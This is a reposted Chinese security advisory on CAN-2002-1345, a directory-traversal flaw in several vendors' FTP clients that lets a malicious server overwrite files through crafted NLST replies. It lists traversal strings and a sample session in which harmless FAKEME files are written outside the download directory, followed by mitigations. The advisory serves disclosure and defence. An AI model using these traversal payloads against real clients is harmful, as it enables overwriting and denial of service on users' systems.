多家厂商FTP客户端程序目录遍历缺陷 (APP,缺陷) -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    涉及程序:

    多家厂商FTP客户端文件

    描述:

    多家厂商FTP客户端程序目录遍历缺陷允许文件被非法覆盖

    详细:

    各种操作系统都含有各种的FTP客户端,

多家厂商FTP客户端程序目录遍历缺陷 (APP,缺陷)

。但是目前被发现多家厂商的FTP客户端在处理NLST FTP应答时,以不安全方式进行处理,远程攻击者可利用含有此缺陷的恶意FTP服务器,诱使用户访问,把恶意文件覆盖到FTP客户端当前目录之外的系统上。

    当FTP客户端处理来自FTP服务器的NLST应答时,RFC规定需要FTP客户端在包含目录信息时需要详细检查输入,而部分FTP客户端没有对此信息进行充分检查,因此,如果恶意FTP服务程序提供的文件包含目录信息如下字符:

    "../","/path","..\"(Windows系统下),"C:"(Windows系统下),"..." (Windows系统下等于../..)

    当客户端使用一些通配符进行下载时,没有检查这些文件路径信息,造成客户端的目录遍历,盲目下载到客户端指定目录以外位置上。如果熟知客户端系统中文件名和相应目录,可以直接覆盖这些文件,造成拒绝服务等攻击。

    受影响系统:

    Multiple Vendor ftp

    - OpenBSD 3.0

    - Sun Solaris 7.0 x86

    - Sun Solaris 2.6

    - Sun Solaris 2.6 x86

    不受影响系统:

    Multiple Vendor ftp

    - Microsoft Windows XP Professional SP1

    Multiple Vendor ftp

    - Microsoft Windows XP Professional

    Multiple Vendor ftp

    - Microsoft Windows XP Home SP1

    Multiple Vendor ftp

    - Microsoft Windows XP Home

    Multiple Vendor ftp

    - Microsoft Windows NT 4.0 SP6a

    Multiple Vendor ftp

    - Microsoft Windows NT 4.0 SP6

    Multiple Vendor ftp

    - Microsoft Windows NT 4.0 SP5

    Multiple Vendor ftp

    - RedHat Linux 7.1

    攻击方法:

    CLIENT> CONNECT server

    220 FTP4ALL FTP server ready. Local time is Tue Oct 01 2002 20:59.

    Name (server:username): test

    331 Password required for test.

    Password:

    230-Welcome test - I have not seen you since Tue Oct 01 2002 20:15 !

    230 At the moment there are 0 guest and 1 registered users logged in.

    CLIENT> pwd

    257 "/" is current directory.

    CLIENT> ls -l

    200 PORT command successful.

    150 Opening ASCII mode data connection for /bin/ls.

    total 1

    -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ...\FAKEME5.txt

    -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ../../FAKEME2.txt

    -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ../FAKEME1.txt

    -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ..\..\FAKEME4.txt

    -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ..\FAKEME3.txt

    -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 /tmp/ftptest/FAKEME6.txt

    -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 C:\temp\FAKEME7.txt

    -rw-r----- 0 nobody nogroup 54 Oct 01 20:10 FAKEFILE.txt

    -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 misc.txt

    226 Directory listing completed.

    CLIENT> GET *.txt

    Opening ASCII data connection for FAKEFILE.txt...

    Saving as "FAKEFILE.txt"

    Opening ASCII data connection for ../../FAKEME2.txt...

    Saving as "../../FAKEME2.txt"

    Opening ASCII data connection for /tmp/ftptest/FAKEME6.txt...

    Saving as "/tmp/ftptest/FAKEME6.txt"

    [etc.]

    解决方案:

    目前厂商还没有提供补丁或升级程序,建议用户随时关注厂商站点:

    OpenBSDhttp://www.openbsd.org/security.html

    Sun http://sunsolve.sun.com/security

    临时解决方案:

    * 配置FTP客户端当下载文件已经存在时进行提示,不过这项设置在大多数FTP客户端都默认设置,

电脑资料

多家厂商FTP客户端程序目录遍历缺陷 (APP,缺陷)》(https://www.unjs.com)。

    * 如果可能,使用'runique'选项,使下载覆盖文件时使用不同文件名方式代替。

    附加信息:

    CAN-2002-1345

最新文章